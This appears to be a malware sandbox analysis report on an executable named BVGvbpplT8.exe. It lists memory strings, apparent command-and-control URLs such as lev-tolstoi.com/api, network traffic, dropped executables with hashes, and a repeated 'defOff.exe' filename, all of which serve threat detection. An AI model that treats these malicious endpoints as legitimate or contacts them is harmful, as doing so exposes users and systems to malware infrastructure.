Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: BVGvbpplT8.exe, BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/.r
Source: BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/B
Source: BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/J
Source: BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/P
Source: BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2307846785.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2320198921.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2410417568.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api0
Source: BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apigz2s
Source: BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apil
Source: BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/e
Source: BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/ms
Source: BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/p
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacebudi.lat/api
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/ice.
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: BVGvbpplT8.exe, 00000001.00000003.2320260078.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BVGvbpplT8.exe, 00000001.00000003.2320260078.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BVGvbpplT8.exe, 00000001.00000003.2319638464.0000000005C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: BVGvbpplT8.exe, 00000001.00000003.2319638464.0000000005C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: BVGvbpplT8.exe, 00000001.00000003.2320260078.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: BVGvbpplT8.exe, 00000001.00000003.2320260078.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: BVGvbpplT8.exe, 00000001.00000003.2320260078.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49788 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: BVGvbpplT8.exe	Static PE information: section name:
Source: BVGvbpplT8.exe	Static PE information: section name: .idata
Source: BVGvbpplT8.exe	Static PE information: section name:
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe.1.dr	Static PE information: section name:
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe.1.dr	Static PE information: section name: .idata
Source: O215CKAM4VJZ3EV7.exe.1.dr	Static PE information: section name:
Source: O215CKAM4VJZ3EV7.exe.1.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00CFD390	1_3_00CFD390
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00CFD390	1_3_00CFD390
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_05BE2D3F	1_3_05BE2D3F
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00CFD390	1_3_00CFD390
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00CFD390	1_3_00CFD390
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Code function: 13_2_0045DCB7	13_2_0045DCB7
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Code function: 13_2_0045E729	13_2_0045E729

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe 2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D

Source: BVGvbpplT8.exe, 00000001.00000003.2467367729.0000000005C51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2484900150.00000000061A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2474273193.000000000616F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2458036557.0000000005EDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2475590327.0000000006078000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2489001803.000000000607B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2460789976.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2463613352.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2472716823.000000000607A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2469868738.0000000006078000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2467077749.0000000006134000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2482359636.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2485447968.00000000061AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2486356898.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2484742734.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2482198594.0000000006195000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2468556387.000000000612C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2474086827.000000000607D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2457903021.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2467742587.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2488595699.0000000006082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2489381113.0000000006079000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2481881639.000000000618E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2480515223.0000000006282000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2467487826.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2470859384.0000000006153000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2486145687.00000000061AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2470009528.000000000613C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2485721637.00000000062E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2469023346.00000000061E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2484545214.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2473500436.0000000006252000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2466771234.00000000061D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2479298663.0000000006292000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2469174653.000000000607B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2478277731.000000000617E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2498986100.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2479682055.000000000607A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2466937941.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2481533258.0000000006188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2493123655.000000000632C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2485139417.0000000006076000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2485939050.0000000006079000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2497089920.00000000061DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2477562232.0000000006081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2467587313.0000000005BE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2499741961.000000000607D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2471054363.000000000607D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2484143811.00000000062BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2486578879.0000000006080000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2486832404.00000000061C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2468249432.000000000612B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2470150676.0000000006202000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2472961674.0000000006157000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2471257892.0000000006148000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2480943093.0000000006081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2478767506.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2471642768.0000000006149000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2482037901.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2482710301.000000000619B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2487641534.0000000006079000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
